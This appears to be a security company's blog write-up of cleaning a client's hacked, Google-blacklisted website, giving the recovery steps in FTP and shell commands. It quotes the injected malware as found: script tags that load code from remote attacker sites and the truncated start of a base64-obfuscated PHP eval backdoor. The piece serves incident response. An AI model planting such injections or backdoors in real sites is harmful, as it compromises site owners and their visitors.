It all started a few days ago when a prospective client contacted us saying that they were notified that their site was being reported as an “attack site” by Google Chrome, but was working well on Explorer. They wanted to make sure it worked well on Chrome too…
The client wasn’t a technical person, so he was not aware that their site was hosting malware and blacklisted by Google. Every browser (Chrome, Firefox, etc) that used Google’s blacklist would report their site as an “attack site”.
Not good news for any site owner. You lose credibility, lose traffic and money. If they had been using our Web-based Integrity monitor, that would not have happened, but since they didn’t, now it was time to fix the problem.
We will detail the steps we took hoping that can it useful for anyone else dealing with these issues.
1- Shutting down the site
We didn’t want to see their site spreading more malware, so we got the FTP credentials (shared host, so no SSH access), and renamed the public_html directory to something else and added a quick “were are in maintenance mode” index.html to the site.
$ rename public_html publichtml_saved
$ mkdir public_html
$ put newindex public_html/index.html
2- Changing the passwords
We didn’t know how the attackers got in, but changing the password was a good defense to make sure they wouldn’t mess up with our work or get back in. Plus, since it was a shared host, there wasn’t much more we could do.
3- Analyzing the malware
To analyze the malware, we first downloaded the whole public_html directory that we have saved. As always, we used our friendly ncftpget to get the job done:
$ mkdir clientX
$ ncftpget -z -u USER -p PASS -R clientX.com ./clientX /publichtml_saved
$ code-scan clientX
<script src=”https://hentai.com.br/images/gifimg.php >
< script src=https://hentai.com.br/images/gifimg.php >
$ lynx –source –dump https://macagnanmalhas.com.br/imagens_fck/conteudo.php
$ lynx –source –dump https://craisa.com.br/up/topluto4.php
document.write(“<script src=”https://grupogrotta.com.br/tao/trabalhe.php />”);
And the final javascrip was already removed, so we couldn’t analyze it. Oh well.. Moving on..
We also detected that every single PHP file had malware injected at the top of the script. They all started with:
<?php eval (base64_decode(“aWYoIWZ1bmN0aW9uX2V4aXN0cygndTVzeicpKXtmdW
What this script does? After changing the “eval” for an “echo” statement, we can see:
Basically a PHP script to inject malicious code in a site and act as a backdoor.
4- Fixing the site
Since the attackers went crazy and infected every single file, manually removing the malware was out of question. If they had a backup of the site, it would be easy, but since they didn’t have it either, we had to resort to some shell scripting.
What did we do? We knew there was only these 3 instances of malware spread at all the files. So we ran the find command passing the files to sed to remove those malware lines.
$ find ./ | grep -i -E “.html|.htm|.php|.js” | xargs sed -i “s#<?php eval (base64_decode ( .*)); ??>##g”
$ find ./ | grep -i -E “.html|.php|.js” | xargs sed -i ‘s#<script src=”https://mac.*/script”> ##g’
$ find ./ | grep -i -E “.html|.php|.js” | xargs sed -i ‘s#< script src=https://hentai..*/script> ##g’
Done! All files fixed, now we used ncftpput to put the same back up:
$ ncftpput -z -u USER -p PASS -R clientX.com /public_html ./clientX/public_html
5- Lessons Learned
Malware is a pain and anyone can be affected. However, they didn’t have any security measures in place, making it much harder to deal with it. For reference, our suggestions were (and they apply to every site on shared servers):
- Make sure you have backups done at least weekly
- Use strong FTP passwords
- Keep your desktop virus-free
- Monitor your web sites for malware/blacklisting
- Keep your web applications updated (if using any)